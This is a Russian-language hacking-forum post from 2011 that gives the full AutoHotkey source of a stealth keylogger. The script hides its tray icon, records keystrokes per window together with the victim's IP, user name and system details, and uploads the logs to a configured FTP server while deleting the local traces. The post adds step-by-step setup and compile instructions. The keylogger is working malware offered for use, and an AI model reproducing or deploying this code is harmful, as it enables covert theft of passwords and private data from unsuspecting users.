Регистрация Главная Сообщество
Сообщения за день Справка Регистрация
Навигация
Zhyk.org LIVE! Реклама на Zhyk.org Правила Форума Награды и достижения Доска "почета"

Кейлоггер на AHK с отправкой логгов на FTP

-

Школа Читера

- Основы основ - начинаем писать статьи для начинающих с целью создания полноценного раздела

Ответ
 
Опции темы
Старый 07.05.2011, 16:21   #1
 Разведчик
Аватар для qwekerzee59
 
qwekerzee59 никому не известный тип
Регистрация: 11.12.2010
Сообщений: 2
Популярность: 16
Сказал(а) спасибо: 0
Поблагодарили 3 раз(а) в 3 сообщениях
 
Post Кейлоггер на AHK с отправкой логгов на FTP

Для создания потребуется:
-AHK(Autohotkey)
-Хостинг с доступом по ftp
-руки (2 штуки)
-Мозги


для начала создаём файл с названием допустим keylogger.ahk
Жмём правой кнопкой мыши по нему и выбираем Edit Script
Затем вставляем туда следущий код:
Код:
#NoTrayIcon
;#############################Параметры FTP###############################
Server = 127.0.0.1 ; хост
Port = 21 ; порт
User = user ; юзер
Pwd = password ; пароль
Directory1 = / ; папка на хосте, куда грузить файлы
;############################################################

;############################Узнаём сколько времени и аптайм################################
TTMilliseconds := A_TickCount 
TTSeconds := A_TickCount // 1000 
TTMinutes := A_TickCount // 60000
TTHours := A_TickCount // 3600000
TTDays := A_TickCount // 86400000
TTWeeks := A_TickCount // 604800000
 
Milliseconds := TTMilliseconds - (1000 * (TTMilliseconds // 1000)) 
Seconds := TTSeconds - (60 * (TTSeconds // 60)) 
Minutes := TTMinutes - (60 * (TTMinutes // 60)) 
Hours := TTHours - (24 * (TTHours // 24)) 
Days := TTDays - (7 * (TTDays // 7)) 
Weeks := TTWeeks - (52 * (TTWeeks // 52)) 
 
If Weeks >= 1 
  Wc = %Weeks% нед.  
If Days >= 1 
  Dc = %Days% дн.
If Hours >= 1 
  Hc = %Hours% ч. 
If Minutes >= 1 
  Mc = %Minutes% мин. 
If Seconds >= 1 
  Sc = %Seconds% сек. 
 
UpTime = %Wc% %Dc% %Hc% %Mc% %Sc%
;############################################################ 


;##############################Создаём "Шаблон" лога##############################
Loop { 
FormatTime, CurrentDateTime,, M-d-yyyy_HH-mm tt 
FileAppend, Ip адрес машины => %A_IPAddress1% `n,  %TEMP%\%CurrentDateTime%.txt
FileAppend, Тип ОС => %A_OSType% `n,  %TEMP%\%CurrentDateTime%.txt
FileAppend, Версия ОС => %A_OSVersion% `n,  %TEMP%\%CurrentDateTime%.txt
FileAppend, Сетевое имя компьютера => %A_ComputerName% `n,  %TEMP%\%CurrentDateTime%.txt
FileAppend, Имя пользователя => %A_UserName% `n,  %TEMP%\%CurrentDateTime%.txt
FileAppend, Размер экрана => %A_ScreenWidth% на %A_ScreenHeight% `n,  %TEMP%\%CurrentDateTime%.txt
FileAppend, Время работы системы => %UpTime% `n,  %TEMP%\%CurrentDateTime%.txt
WinGetActiveTitle, OutputVar
FileAppend, Текущий заголовок окна => %OutputVar% `n, %TEMP%\%CurrentDateTime%.txt
Loop 200{
Input, SingleKey, B C L1 V
WinGetActiveTitle, OutputVar2
if (OutputVar2  =  OutputVar){
}else{
FileAppend, `nТекущий заголовок окна => %OutputVar2% `n, %TEMP%\%CurrentDateTime%.txt
OutputVar  :=  OutputVar2
}
FileAppend, %SingleKey%, %TEMP%\%CurrentDateTime%.txt
}
;############################################################


;#############################Загружаем лог на FTP############################### 
LocalFile = %TEMP%\%CurrentDateTime%.txt ; файл для загрузки
IfNotExist, %LocalFile%
{
       Exit, 1                                                              
}
if (not INetStart())
{
      Exit, 1
}
hConnection := INetConnect(Server, Port, User, Pwd, "ftp", 1)
if (hConnection)
{
    Error = 0
    UploadFile(hConnection, Directory1, LocalFile)
     Sleep, 1
FileDelete, %TEMP%\%CurrentDateTime%.txt
}
else
{
  
       INetStop()
    Exit, 1
}

 Sleep, 1
}
;############################################################
UploadFile(hConnection, Directory, LocalFile)
{
    if (ChangeDirectory(hConnection, Directory))
    {
        SplitPath, LocalFile, RemoteFile
        if (FtpPutFile(hConnection, LocalFile, RemoteFile))
        {
            Return, true
        }
        else
        {
            MsgBox, Cannot upload file into %Directory%.
            Return, false
        }
    }
    else
    {
        MsgBox, Could not create or change to remote directory %Directory%.
        Return, false
    }
}
 
 
 
ChangeDirectory(hConnection, Directory)
{
    if (FtpSetCurrentDirectory(hConnection, Directory))
    {
        Return, true
    }
    else
    {
        if (FtpCreateDirectory(hConnection, Directory))
        {
            if (FtpSetCurrentDirectory(hConnection, Directory))
            {
                Return, true
            }
            else
            {
                MsgBox, Cannot change to remote directory %Directory%.
                Return, false
            }
        }
        else
        {
            MsgBox, Cannot create remote directory %Directory%.
            Return, false
        }
        MsgBox, Cannot change to remote directory %Directory%.
        Return, false
    }
}
 
 
INetStart(Proxy="", ProxyBypass="", Agent="")
{
   global
 
   inet_hModule := DllCall("LoadLibrary", "str", "wininet.dll")
   if(!inet_hModule) {
      inet_hModule = 0
      return false
   }
 
 
 
 
 
   inet_hInternet := DllCall("wininet\InternetOpenA"
      , "str", (Agent != "" ? Agent : A_ScriptName)
      , "UInt", (Proxy != "" ? 3 : 1)
      , "str", Proxy
      , "str", ProxyBypass
      , "UInt", 0)
   If(!inet_hInternet) {
      INetCloseHandle(inet_hModule)
      return false
   }
   return true
}
 
INetStop()
{
   global
   INetCloseHandle(inet_hInternet)
   DllCall("FreeLibrary", "UInt", inet_hModule)
   inet_hModule = inet_hInternet = 0
}
 
INetCloseHandle(hInternet)
{
   return DllCall("wininet\InternetCloseHandle", "UInt", hInternet)
}
 
INetConnect(Server, Port, Username="anonymous", Password="anonymous", Service="http", FtpPassive=0)
{
 
   global inet_hInternet
   hConnection := DllCall("wininet\InternetConnectA"
      , "uint", inet_hInternet
      , "str", Server
      , "uint", Port
      , "str", Username
      , "str", Password
      , "uint", (Service = "ftp" ? 1 : (Service = "gopher" ? 2 : 3))
      , "uint", (FtpPassive != 0 ? 0x08000000 : 0)
      , "uint", 0)
   return hConnection
}
FtpCreateDirectory(hConnection, Directory)
{
   return DllCall("wininet\FtpCreateDirectoryA", "uint", hConnection, "str", Directory)
}
FtpSetCurrentDirectory(hConnection, Directory)
{
   return DllCall("wininet\FtpSetCurrentDirectoryA", "uint", hConnection, "str", Directory)
}
FtpGetCurrentDirectory(hConnection, ByRef @Directory)
{
   len := 261
   VarSetCapacity(@Directory, len)
 
   result := DllCall("wininet\FtpGetCurrentDirectoryA", "uint", hConnection, "str", @Directory, "uint*", len)
   VarSetCapacity(@Directory, -1)
   return result
}
 
FtpPutFile(hConnection, LocalFile, RemoteFile="", TransferType="B")
{
   return DllCall("wininet\FtpPutFileA"
      , "uint", hConnection
      , "str", LocalFile
      , "str", (RemoteFile != "" ? RemoteFile : LocalFile)
      , "uint", (TransferType == "A" ? 1 : 2)
      , "uint", 0)
 
}
 
FtpDeleteFile(hConnection, File)
{
   return DllCall("wininet\FtpDeleteFileA", "uint", hConnection, "str", File)
}
теперь разберём его настройку

Server = 127.0.0.1 ; хост //Вводим хост FTP
Port = 21 ; порт //Порт для подключения по FTP (по стандарту почти везде 21)
User = user ; юзер // Логин от FTP
Pwd = password ; пароль //Пароль от FTP
Directory1 = / ; папка на хосте, куда грузить файлы //Куда грузить логи (на некоторых хостингах нужно добавить public_html, т.е Directory1 = public_html/ ; )

Затем компилируем всё это добро
ПКМ - Compile Script
Вуаля, кейлоггер готов

Минусы:
-Не добавляется в автозагрузку (кому надо сами сделайте)
-Палится антивирусами (вроде, не проверял точно)

Присылается отчёт вида

Код:
Время: %
Ip адрес машины =>  %
Тип ОС => %
Версия ОС => %
Сетевое имя компьютера => %
Имя пользователя => %
Размер экрана => %
Время работы системы => %

Текущий заголовок окна => %
Текст, что введён в этом окне

Текущий заголовок окна => %
Текст
Кейлоггер перехватывает 200 символов и вырубается
Для того, чтобы изменить это значение изменяем строку:

Loop 200{

Фух, всё вроде расписал
При копировании просьба указывать источник (хотя кому оно надо)
  Ответить с цитированием
Пользователь сказал cпасибо:
danb0 (20.08.2011)
Ответ


Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход

Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Интервал между отправкой Fatov Скрипты и перехват пакетов 3 03.07.2010 14:10
[Помогите!] Кейлоггер главный овощ Общение и обсуждение Perfect World 5 27.03.2010 22:55

Заявление об ответственности / Список мошенников

Часовой пояс GMT +4, время: 18:08.

Пишите нам: [email protected]
Copyright © 2024 vBulletin Solutions, Inc.
Translate: zCarot. Webdesign by DevArt (Fox)
G-gaMe! Team production | Since 2008
Hosted by GShost.net